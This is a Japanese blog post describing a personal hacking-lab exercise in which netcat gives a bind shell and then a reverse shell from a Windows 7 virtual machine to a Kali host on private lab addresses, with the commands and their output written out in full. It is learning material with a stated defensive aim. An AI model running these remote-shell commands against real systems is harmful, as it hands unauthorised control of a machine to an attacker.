ハック技術: Windows7ハック #2 バックドアの仕組み(リバースシェル)編

「[#ゆるいハッキング大会](https://twitter.com/hashtag/%E3%82%86%E3%82%8B%E3%81%84%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E5%A4%A7%E4%BC%9A )」に参加した。
ハッキング熱が高まった。

「[ハッキング・ラボのつくりかた](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON/dp/4798155306)」を勢いで購入。

今回は、ハッキング・ラボの作り方に載っているWindows7のやり方の、バックドアの仕組みについて。

## お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。

## 環境について

### 0.自分のノートPC
　HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
　Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
### 1. KaliLinux
[ハック技術: KaliLinux on Docker - Qiita](https://qiita.com/rivarten/items/2e0c8ee82fdffa848e7d)

### 2. Windows7(攻撃対象)
[ハック技術: Windows7ハック #1 Vagrant VirtualBoxで環境セットアップ編 (on Ubuntu) - Qiita](https://qiita.com/rivarten/items/414ddb9173d6afae3d6b)


## バックドア

侵入を容易にする裏口。毎回対象を攻略する必要がなくなる。

### Netcatでシェル

http://netcat.sourceforge.net/
https://joncraton.org/blog/46/netcat-for-windows/

ダウンロード、解凍(pass: nc)、実行(ポート5555で接続待ち)。

```
> nc.exe -lvp 5555
```
WindowsFirewallが通信許可するか聞いてくるので、両方チェックして許可する。

別プロンプトで、netstat実行。

```
C:\Users\IEUser>netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5555           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49163          0.0.0.0:0              LISTENING
  TCP    10.0.2.15:139          0.0.0.0:0              LISTENING
  TCP    [::]:22                [::]:0                 LISTENING
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:49152             [::]:0                 LISTENING
  TCP    [::]:49153             [::]:0                 LISTENING
  TCP    [::]:49154             [::]:0                 LISTENING
  TCP    [::]:49155             [::]:0                 LISTENING
  TCP    [::]:49163             [::]:0                 LISTENING
  UDP    0.0.0.0:5355           *:*
  UDP    10.0.2.15:137          *:*
  UDP    10.0.2.15:138          *:*
  UDP    10.0.2.15:1900         *:*
  UDP    127.0.0.1:1900         *:*
  UDP    127.0.0.1:57898        *:*
  UDP    [::]:5355              *:*
  UDP    [::1]:1900             *:*
  UDP    [::1]:57897            *:*
  UDP    [fe80::256b:4013:4140:453f%15]:1900  *:*
```
5555でlisten中。

```
# nc -v 10.0.2.15 5555
```
接続が完了すると、

```
C:\Users\IEUser\Desktop\nc111nt>nc.exe -lvp 5555
listening on [any] 5555 ...
172.28.128.1: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.28.128.3] from (UNKNOWN) [172.28.128.1] 49938: NO_DATA
```
こうなる。
kali側で、何か文字を打ってエンター押すと、Win7側でもその文字が出力される。

### バインドシェル

攻撃端末からターゲット端末に接続するタイプのシェルをバインドシェルという。

```
> nc.exe -lvp 5555 -e cmd.exe
```
-eオプションは、ヘルプを見ると、

```
  -e prog         inbound program to exec [dangerous!!]
```
と書いてある。
ターゲットがLinuxだと、`-e /bin/bash`を指定。
Kaliからwinへ接続すると、Winのシェルを操作可能。

```
root@dsnote:~# nc 172.28.128.3 5555
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop\nc111nt>

C:\Users\IEUser\Desktop\nc111nt>dir
dir
 Volume in drive C is Windows 7
 Volume Serial Number is D055-099C

 Directory of C:\Users\IEUser\Desktop\nc111nt

05/03/2019  02:06 AM    <DIR>          .
05/03/2019  02:06 AM    <DIR>          ..
05/03/2019  02:06 AM            12,166 doexec.c
05/03/2019  02:06 AM             7,283 generic.h
05/03/2019  02:06 AM            22,784 getopt.c
05/03/2019  02:06 AM             4,765 getopt.h
05/03/2019  02:06 AM            61,780 hobbit.txt
05/03/2019  02:06 AM            18,009 license.txt
05/03/2019  02:06 AM               544 makefile
05/03/2019  02:06 AM            61,440 nc.exe
05/03/2019  02:06 AM            69,662 netcat.c
05/03/2019  02:06 AM                 0 password is nc
05/03/2019  02:06 AM             6,833 readme.txt
              11 File(s)        265,266 bytes
               2 Dir(s)  29,751,881,728 bytes free

C:\Users\IEUser\Desktop\nc111nt>whoami
whoami
ie11win7\ieuser

C:\Users\IEUser\Desktop\nc111nt>
```
しかし、この方法だと通信路のFirewallやルーターなどでブロックされる可能性大。
Firewallの設定では、インバウンドの設定で弾かれる。

### リバースシェル
ターゲット端末から攻撃端末に対して接続する。

Kali側で接続を待ち受ける。

```
root@dsnote:~# nc -lvp 5555
listening on [any] 5555 ...
```

Win側から、Kaliに接続する。

```
C:\Users\IEUser\Desktop\nc111nt>nc.exe 172.28.128.1 5555 -e cmd.exe

```

すると、Kali側でWinのコマンドプロンプトが表示される。

```
172.28.128.3: inverse host lookup failed: Unknown host
connect to [172.28.128.1] from (UNKNOWN) [172.28.128.3] 49344
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop\nc111nt>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::256b:4013:4140:453f%15
   IPv4 Address. . . . . . . . . . . : 172.28.128.3
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Tunnel adapter isatap.{53152A2F-39F7-458E-BD58-24D17099256A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Users\IEUser\Desktop\nc111nt>exit
```

## おわり

次は、Metasploitを使ってWin7を遠隔操作する。